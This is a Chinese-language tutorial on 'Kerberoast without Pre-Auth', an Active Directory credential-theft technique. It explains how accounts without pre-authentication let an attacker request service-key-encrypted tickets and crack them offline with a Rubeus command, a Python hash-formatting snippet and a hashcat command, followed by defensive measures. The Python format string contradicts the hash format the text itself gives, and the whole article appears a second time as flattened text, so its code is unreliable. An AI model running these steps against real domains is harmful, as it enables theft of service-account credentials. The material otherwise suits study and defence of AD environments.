Kerberoast without pre-auth
字数 1415 2025-08-22 18:37:15

Kerberoast without Pre-Auth 攻击技术详解

1. 技术背景

Kerberoasting是一种针对Active Directory (AD)域服务的攻击技术,攻击者通过获取服务票据(TGS)并离线破解来获取服务账户的凭据。传统Kerberoast攻击需要攻击者已经拥有域内用户的权限,而"Kerberoast without Pre-Auth"则突破了这一限制。

2. 核心原理

2.1 预认证(Pre-Authentication)机制

在常规Kerberos认证中:

  1. 客户端发送AS-REQ请求TGT(票据授予票据)
  2. KDC(密钥分发中心)要求预认证(通常使用用户密码派生的密钥加密时间戳)
  3. 客户端完成预认证后获取TGT

2.2 无预认证漏洞

当域用户设置了"DONT_REQ_PREAUTH"属性时:

  • 该用户不需要提供预认证凭据
  • 攻击者可以直接请求TGT而无需知道用户密码
  • 这是"Kerberoast without Pre-Auth"攻击的基础

2.3 攻击关键点

攻击者可以:

  1. 修改AS-REQ请求中的服务名称(sname)字段
  2. 将默认的krbtgt服务替换为目标服务账户(如mssql/sql01)
  3. 获取由目标服务账户密钥加密的TGT
  4. 离线破解该TGT获取服务账户密码

3. 攻击步骤详解

3.1 准备工作

  1. 识别域中设置了"DONT_REQ_PREAUTH"的用户
  2. 确定目标服务账户(SPN)

3.2 执行攻击

方法一:使用AS-REQ修改

  1. 构造AS-REQ请求:

    • 设置加密类型为RC4-HMAC(etype: 0x17/23)
    • 修改sname为目标服务账户(如mssql/sql01)
    • 使用无预认证用户(如ssmith)
  2. 获取响应:

    • 响应中的TGT由目标服务账户密钥加密
    • 提取票据的enc-part部分

方法二:使用Rubeus工具

Rubeus已集成此功能:

Rubeus.exe kerberoast /user:ssmith /domain:lab.local /dc:DC.lab.local /nowrap

3.3 离线破解

  1. 转换票据格式:

    • 使用kirbi2john或自定义Python脚本
    • 格式:$krb5tgs$0$*username$domain$spn*$ciphertext_part1$ciphertext_part2
  2. 示例Python转换代码:

encType = "23"
userName = "sql_svc"
domain = "lab.local"
spn = "mssql/sql01"
cipherText = "c7b4dd4d7abf9399ce441ea58085f49204f75ba1a49d53aa476fdb4aafb6444ee8103391165f8d32d25d445ffcbb113d8fa9e7db78e0c4d868ca5ff748a27258b4badbdc08d596d264199a1cdf44a89a053502c1213f113e934b2ac17f3e1d5fdfa4ae6fc4b06b54ef2d34d47fe03d9582e4f895c18a9f51ea9ee5204bbf005c1701a398b4b5fee965865f0bd1fc8e523e1f241fefa9284c610542a78023472496856ca0c53ab65c7bcb1e78f707b3132049494bc1e442c86f618673447469c5dfc58e9288bd01e297a3a1781a020c0d5bdea3453eefafda910b5d4bc5b4cde98b02417e3f82dc3125721792b1bec3fd1532027986ab68e19875a793a05ce1da994a79f0a1f7db9921552e6b5b358a70ec40b0925392aed310ebc02b9c25fa7162edb301691cbe085ee9ab4e0317c2260cc5e67502bf8326dece28353ef2b2955a7170354cf038611936709ca551b0c21f5709a1ec14e44105e055f5abf3632b4d85e0e5f354e2efb1ce58bcff2a239bbf6af71e6f67cee1a560addb69a8e4abacfcac18da55e89bd6a7e97bb4b80cf5798cb7b8b95e2f8be911aacb3b63b8202052bfef13835f042658392087c6e50c8d1343f066f686314f0e822b58dd9f0207048662a66b7250623d45b918e277875ea05fbe5794d7ca0d148c8305b8d24804dd64e07cd054b6f3d775d186184fcfef71907329eed2d40b632c640fc15bc78e00a2ebfaf0df86a0dd3d801d01490b7686af12cee6fcd98e108b8f3983b65af39e06a4e33a26c5ab099e8ae24eb38837e619a888dc40982afda6aa4cdccaa2d75dfe8a2232caa7087708d2905e9b6cee2253760fe0c6fb87b7f582cf05ca26ec378756972f19b5b4a1edca4c84405371404e68ae4c88a3f935da5f1c78d60fb297dc9fda48e12e5faf501a9e168247eeae3c17c992c3b57ed3ca241976fb982f2d60b933bdfb28c51ab76f8b9834c106767df3cb599f51be3b19954a2c219520f4abdc36b58618f5ced1b1a698aeddbd2380ee3c79fd358cf4a4f446249dd3468ce90299800c49547b8a20016dd5d08f0f59c15f90b6a844f18f0eab64d5e401684266e32fd2c6689375775c6e0b5efbe9162c913706547ab57dae49138f5855698d044b408594e72092f415ed518171b9720abe4ace213c5f414abe5626f5632b395aa004d247696b0c7fcbdfc0046c9463f52ae012b9ba8bc085ba390329231a8ea32bbba3a282bcc8514d39cf4178eedd60dbd569877973487a184f456f9dc60837d9ddca41e0ec244f42df8d2ed114960555f8f64ea2ff8c593e845550a234dfd96e"

formatted_string = "$krb5tgs${0}${1}${2}${3}*${4}${5}".format(
    encType, userName, domain, spn, cipherText[:32], cipherText[32:]
)
print(formatted_string)
  1. 使用Hashcat破解:
hashcat -m 13100 -a 0 hash.txt rockyou.txt

4. 防御措施

  1. 禁用无预认证

    • 检查所有用户账户的"不需要Kerberos预认证"属性
    • 使用命令:Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where {$_.DoesNotRequirePreAuth -eq $True} | Select-Object SamAccountName
  2. 服务账户管理

    • 为服务账户设置强密码
    • 定期轮换服务账户密码
    • 限制服务账户权限
  3. 监控与检测

    • 监控异常的AS-REQ请求
    • 检测异常的TGT请求模式
    • 设置警报机制
  4. 加密类型策略

    • 禁用弱加密类型(RC4-HMAC)
    • 强制使用AES加密

5. 总结

"Kerberoast without Pre-Auth"攻击利用了两个关键点:

  1. 域中存在配置为不需要预认证的用户
  2. Kerberos协议允许修改AS-REQ中的服务名称字段

这种攻击方式扩展了传统Kerberoast的攻击面,使得攻击者无需初始凭据即可尝试获取服务账户密码。防御的关键在于严格的账户配置管理和强密码策略的实施。

Kerberoast without Pre-Auth 攻击技术详解 1. 技术背景 Kerberoasting是一种针对Active Directory (AD)域服务的攻击技术,攻击者通过获取服务票据(TGS)并离线破解来获取服务账户的凭据。传统Kerberoast攻击需要攻击者已经拥有域内用户的权限,而"Kerberoast without Pre-Auth"则突破了这一限制。 2. 核心原理 2.1 预认证(Pre-Authentication)机制 在常规Kerberos认证中: 客户端发送AS-REQ请求TGT(票据授予票据) KDC(密钥分发中心)要求预认证(通常使用用户密码派生的密钥加密时间戳) 客户端完成预认证后获取TGT 2.2 无预认证漏洞 当域用户设置了"DONT_ REQ_ PREAUTH"属性时: 该用户不需要提供预认证凭据 攻击者可以直接请求TGT而无需知道用户密码 这是"Kerberoast without Pre-Auth"攻击的基础 2.3 攻击关键点 攻击者可以: 修改AS-REQ请求中的服务名称(sname)字段 将默认的krbtgt服务替换为目标服务账户(如mssql/sql01) 获取由目标服务账户密钥加密的TGT 离线破解该TGT获取服务账户密码 3. 攻击步骤详解 3.1 准备工作 识别域中设置了"DONT_ REQ_ PREAUTH"的用户 确定目标服务账户(SPN) 3.2 执行攻击 方法一:使用AS-REQ修改 构造AS-REQ请求: 设置加密类型为RC4-HMAC(etype: 0x17/23) 修改sname为目标服务账户(如mssql/sql01) 使用无预认证用户(如ssmith) 获取响应: 响应中的TGT由目标服务账户密钥加密 提取票据的enc-part部分 方法二:使用Rubeus工具 Rubeus已集成此功能: 3.3 离线破解 转换票据格式: 使用kirbi2john或自定义Python脚本 格式: $krb5tgs$0$*username$domain$spn*$ciphertext_part1$ciphertext_part2 示例Python转换代码: 使用Hashcat破解: 4. 防御措施 禁用无预认证 : 检查所有用户账户的"不需要Kerberos预认证"属性 使用命令: Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where {$_.DoesNotRequirePreAuth -eq $True} | Select-Object SamAccountName 服务账户管理 : 为服务账户设置强密码 定期轮换服务账户密码 限制服务账户权限 监控与检测 : 监控异常的AS-REQ请求 检测异常的TGT请求模式 设置警报机制 加密类型策略 : 禁用弱加密类型(RC4-HMAC) 强制使用AES加密 5. 总结 "Kerberoast without Pre-Auth"攻击利用了两个关键点: 域中存在配置为不需要预认证的用户 Kerberos协议允许修改AS-REQ中的服务名称字段 这种攻击方式扩展了传统Kerberoast的攻击面,使得攻击者无需初始凭据即可尝试获取服务账户密码。防御的关键在于严格的账户配置管理和强密码策略的实施。